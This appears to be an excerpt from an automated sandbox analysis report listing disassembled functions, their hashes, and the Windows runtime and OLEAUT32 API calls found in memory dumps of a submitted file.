Instruction ID: 3506af43119ecc3b37022b8f45c402d9f48a5360bc17e2bb984ee2f64063f587
Opcode Fuzzy Hash: 348b862cf4bc4daffac74dc2cb572c81e9d44140a185eea2252f6c576a47b0da
Instruction Fuzzy Hash: B8310575D41208AFDB04CFA8D480AEEBBF5FF49310F10906AE911B7360DB719A04CB95

Function 6CF56650 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c2a4e5319b11e48729058604c95f45a5f512c01db7aed5589e00d7c185c0113
Instruction ID: f215af1befade6d0cdd8cfedffa47431123d22006099f17200e7a5bebbcdae2e
Opcode Fuzzy Hash: 6c2a4e5319b11e48729058604c95f45a5f512c01db7aed5589e00d7c185c0113
Instruction Fuzzy Hash: 2A21E7367165528BD705CE2EC8808A6B7A7EF9D31472981F9E918CF383CA70E916C7D0

Function 6CF58B30 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 519b3b72f4d0e40bab733eecf5f1683974662187ffa70974d5324fa566ddd64b
Instruction ID: 31a159e973f1b43136651bf6110fd3977094565f3028d8963328cd663c7c3d00
Opcode Fuzzy Hash: 519b3b72f4d0e40bab733eecf5f1683974662187ffa70974d5324fa566ddd64b
Instruction Fuzzy Hash: 40218E757056874BE715CF2EC84059BBBA3EFD9300B1980B7E858DB242C674E866CBC0

Function 6CF5A7E0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef0fe430f5274c6fa702dd06a168edf7b4634a1fa37fbabfcf4ba1ecb026e4e8
Instruction ID: 0ac58bcee2463e339e37f9991c84128d5df6d46f5a2dc49a20d99ea478242a45
Opcode Fuzzy Hash: ef0fe430f5274c6fa702dd06a168edf7b4634a1fa37fbabfcf4ba1ecb026e4e8
Instruction Fuzzy Hash: 46110631A056924BD7018E2DC8406D6BBA7AFDE710B0A81EBE954DF217C774982BC7E0

Function 6CF5C7B0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491a25c253d72754cd753df5ea73fe4730b8206852d94c2a89a3efade510d907
Instruction ID: 4c07fc3759204d34ce9c7d2cabc01cb48eda6337f371b9cf523790f5fcc1a282
Opcode Fuzzy Hash: 491a25c253d72754cd753df5ea73fe4730b8206852d94c2a89a3efade510d907
Instruction Fuzzy Hash: 4411E93570AA420BF304CE2EE840483B793AFDD3147AA85AEA455DF546C771E426C681

Function 062E3283 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ac2b973e76de05d88d6e02af1ede85b788e75614cfef4c5b9560aa25af236c
Instruction ID: 8dde010d86adf2f2fa2f0413f6ea522ef107c0843a01dfbe9b70219fc6802fc3
Opcode Fuzzy Hash: 94ac2b973e76de05d88d6e02af1ede85b788e75614cfef4c5b9560aa25af236c
Instruction Fuzzy Hash: 8421ACB5D012189FDB10CF99D584ADEFBF0EB49320F24902AE818B7310C735A945CFA4

Function 062E3288 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68de1683153f8a7b98bdd5b4ce48a9cb37ca4d7275ee1c38c1f4191058ae4211
Instruction ID: 93d765d55eef7c1f12e8bbf18a46a68f0d97720f1b7cf45c5767d6793575469c
Opcode Fuzzy Hash: 68de1683153f8a7b98bdd5b4ce48a9cb37ca4d7275ee1c38c1f4191058ae4211
Instruction Fuzzy Hash: 3221AAB5D012189FCB10CFA9D584AEEFBF0AB49320F24902AE818B7310C734A945CFA4

Function 6CFB84B0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72e8c7eccc0d9499a582c26eca03c4cb3b6881d1b96a08885e262fac4ba79371
Instruction ID: 426114b6a4cf7954fa3a2afd4668fa31227442e4424991a2bd6e0be26ca7edb5
Opcode Fuzzy Hash: 72e8c7eccc0d9499a582c26eca03c4cb3b6881d1b96a08885e262fac4ba79371
Instruction Fuzzy Hash: 5F1152B6904609EFC714CF59D841799FBF4FB44724F10863EE81993B80D735A900CB90

Function 6CFC6FB1 Relevance: 54.3, APIs: 36, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBCMT ref: 6CFC6FCC

Part of subcall function 6CFC4147: DName::DName.LIBCMT ref: 6CFC415A
Part of subcall function 6CFC4147: DName::operator+.LIBCMT ref: 6CFC4161

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: fb4118ef44b5868dab53d71686552df3930f2617d45d737a4f93a83a6519a430
Instruction ID: 23189715f2fb15d93be66c41ad3d5937e6bc48c8e231ca1ca9fb69d52da6fa13
Opcode Fuzzy Hash: fb4118ef44b5868dab53d71686552df3930f2617d45d737a4f93a83a6519a430
Instruction Fuzzy Hash: 9DD13DB1B0020AAFDF10DFA8C881AEFBBB8EF04344F10405AE515E7690DB759A49CB52

Function 6CFBEC9D Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,6CFBA2D4,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBECA5
__mtterm.LIBCMT ref: 6CFBECB1

Part of subcall function 6CFBE97C: DecodePointer.KERNEL32(00000012,6CFBA397,6CFBA37D,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBE98D
Part of subcall function 6CFBE97C: TlsFree.KERNEL32(00000015,6CFBA397,6CFBA37D,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBE9A7
Part of subcall function 6CFBE97C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,6CFBA397,6CFBA37D,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFC2325
Part of subcall function 6CFBE97C: DeleteCriticalSection.KERNEL32(00000015,?,?,6CFBA397,6CFBA37D,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFC234F

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 6CFBECC7
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 6CFBECD4
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 6CFBECE1
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 6CFBECEE
TlsAlloc.KERNEL32(?,?,6CFBA2D4,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBED3E
TlsSetValue.KERNEL32(00000000,?,?,6CFBA2D4,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBED59
__init_pointers.LIBCMT ref: 6CFBED63
EncodePointer.KERNEL32(?,?,6CFBA2D4,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBED74
EncodePointer.KERNEL32(?,?,6CFBA2D4,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBED81
EncodePointer.KERNEL32(?,?,6CFBA2D4,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBED8E
EncodePointer.KERNEL32(?,?,6CFBA2D4,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBED9B
DecodePointer.KERNEL32(Function_0006EB00,?,?,6CFBA2D4,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBEDBC
__calloc_crt.LIBCMT ref: 6CFBEDD1
DecodePointer.KERNEL32(00000000,?,?,6CFBA2D4,6CFE95C0,00000008,6CFBA468,?,?,?,6CFE95E0,0000000C,6CFBA523,?), ref: 6CFBEDEB
GetCurrentThreadId.KERNEL32 ref: 6CFBEDFD

Strings

KERNEL32.DLL, xrefs: 6CFBECA0
FlsSetValue, xrefs: 6CFBECD6
FlsAlloc, xrefs: 6CFBECC1
FlsGetValue, xrefs: 6CFBECC9
FlsFree, xrefs: 6CFBECE3

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 1868149495-3819984048
Opcode ID: e8f38ef4817263843bb0d79084bb93fa74ba3371f555376316a6877bde98fb6f
Instruction ID: caf2615389cff671363866fc8846fbe51d579376860470f8b7e161152d7b5034
Opcode Fuzzy Hash: e8f38ef4817263843bb0d79084bb93fa74ba3371f555376316a6877bde98fb6f
Instruction Fuzzy Hash: D831A531E203269BDFA0BF76AC08B553FB8FB06B94725091AE470A3690DBB19404DFD1

Function 6CF60EA0 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 337COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF60EF2
std::_Xinvalid_argument.LIBCPMT ref: 6CF60F14
_memmove.LIBCMT ref: 6CF60F70
_memmove.LIBCMT ref: 6CF60F95
_memmove.LIBCMT ref: 6CF60FA9
_memmove.LIBCMT ref: 6CF60FDB
_memmove.LIBCMT ref: 6CF61182
std::_Xinvalid_argument.LIBCPMT ref: 6CF611B6

Strings

string too long, xrefs: 6CF60EED, 6CF60F0F
invalid string position, xrefs: 6CF611B1

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memmove$Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1771113911-4289949731
Opcode ID: 883b05c949972cf102a95e170c1e134f57f5baa997efba8bd2282b61d8cc8443
Instruction ID: 545c9ea1a07e5c275f6ccd4489804410c57ed5caf0a39cec28860441ca4e9a21
Opcode Fuzzy Hash: 883b05c949972cf102a95e170c1e134f57f5baa997efba8bd2282b61d8cc8443
Instruction Fuzzy Hash: 28B16B71700144ABDB28CE1ECD90A9B73BAEB85344728891DF892CBF81C774ED45CBA1

Function 6CFC7FC4 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getBasicDataType.LIBCMT ref: 6CFC7FFF
DName::operator=.LIBCMT ref: 6CFC8013
DName::operator+=.LIBCMT ref: 6CFC8021
UnDecorator::getPtrRefType.LIBCMT ref: 6CFC804D
UnDecorator::getDataIndirectType.LIBCMT ref: 6CFC80CA
UnDecorator::getBasicDataType.LIBCMT ref: 6CFC80D3
operator+.LIBCMT ref: 6CFC8166

Strings

volatile, xrefs: 6CFC800B, 6CFC8139
std::nullptr_t, xrefs: 6CFC8122

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Decorator::getType$Data$Basic$IndirectName::operator+=Name::operator=operator+
String ID: std::nullptr_t$volatile
API String ID: 2203807771-3726895890
Opcode ID: 2cff6acc6b7f8aae99336fb59300c6d9a98ee79223aacb97098139e4a5cf7bd9
Instruction ID: f7f85dc8b069aa5e468f58ff7f33d1b21731009752bb2321c2267eefc62d5c69
Opcode Fuzzy Hash: 2cff6acc6b7f8aae99336fb59300c6d9a98ee79223aacb97098139e4a5cf7bd9
Instruction Fuzzy Hash: 6D41E472B4810BBFCB109F54C840AEFBBB8FB02745F218067E96457A51D7329A45CB52

Function 6CF75140 Relevance: 21.2, APIs: 14, Instructions: 203COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF75177

Part of subcall function 6CF82820: _malloc.LIBCMT ref: 6CF82871

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000004), ref: 6CF751B9
SafeArrayCreateVector.OLEAUT32(00000011,00000000,00000000), ref: 6CF751D5
SafeArrayAccessData.OLEAUT32(00000000,00000000), ref: 6CF751E5
_memmove.LIBCMT ref: 6CF751FF
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6CF75208
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6CF7522C
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6CF75263
VariantClear.OLEAUT32(?), ref: 6CF7526C
SafeArrayPutElement.OLEAUT32(00000000,00000002,?), ref: 6CF752AD
VariantClear.OLEAUT32(?), ref: 6CF752B6
SafeArrayPutElement.OLEAUT32(00000000,00000002,00000002), ref: 6CF752D2
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF7534E
VariantClear.OLEAUT32(?), ref: 6CF75358

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$ElementVariant$Clear$CreateDataVector$AccessDestroyInitUnaccess_malloc_memmove
String ID:
API String ID: 452649785-0
Opcode ID: dae1664176dcff3c97ded670f974c1b2caf2d0b4e0ba6942bf11f35a0542f0e5
Instruction ID: 84a776d42024b7762e460df9327fe43967d64bfc06d533086a7bc8256ed9de4d
Opcode Fuzzy Hash: dae1664176dcff3c97ded670f974c1b2caf2d0b4e0ba6942bf11f35a0542f0e5
Instruction Fuzzy Hash: 177129B1A1021AEFDB01DFA5D884BAFBBB9FF49304F10811AE915E7650D774E905CBA0

Function 6CF6F95E Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 332COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF6FA0F
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF6FA22
SafeArrayGetElement.OLEAUT32 ref: 6CF6FA5A

Part of subcall function 6CF73A90: SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF73B71
Part of subcall function 6CF73A90: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF73B83

Part of subcall function 6CF769C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6CF76A08
Part of subcall function 6CF769C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF76A15
Part of subcall function 6CF769C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF76A41

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Part of subcall function 6CF6DFB0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6CF6DFF6
Part of subcall function 6CF6DFB0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF6E003
Part of subcall function 6CF6DFB0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF6E02F

Strings

RS7m, xrefs: 6CF6FC82
RS{m, xrefs: 6CF6FC3E

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Bound$Destroy$Element
String ID: RS7m$RS{m
API String ID: 959723449-144615663
Opcode ID: 39bbdbbab3ac90d1d3d4e3e6a63f8884fbde095131b74e729cb6b5ddcee34479
Instruction ID: 38bd11ae3d3fa97584c5070b3a30f0f1562046c64461e7f2f04764562823375e
Opcode Fuzzy Hash: 39bbdbbab3ac90d1d3d4e3e6a63f8884fbde095131b74e729cb6b5ddcee34479
Instruction Fuzzy Hash: FFC16D70A012049FDB54CF69CD84FADB7B9AF85308F204199E905EBB86DB76ED44CB60

Function 6CF73690 Relevance: 18.2, APIs: 12, Instructions: 215COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF736CD
VariantInit.OLEAUT32(?), ref: 6CF736DA
VariantInit.OLEAUT32(?), ref: 6CF736E0
VariantInit.OLEAUT32(?), ref: 6CF736E6
VariantInit.OLEAUT32 ref: 6CF737DD
VariantCopy.OLEAUT32(?,?), ref: 6CF737E4
VariantInit.OLEAUT32 ref: 6CF73815
VariantCopy.OLEAUT32(?,?), ref: 6CF7381C
VariantClear.OLEAUT32(?), ref: 6CF738A8
VariantClear.OLEAUT32(?), ref: 6CF738AE
VariantClear.OLEAUT32(?), ref: 6CF738B4
VariantClear.OLEAUT32(?), ref: 6CF738BA

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

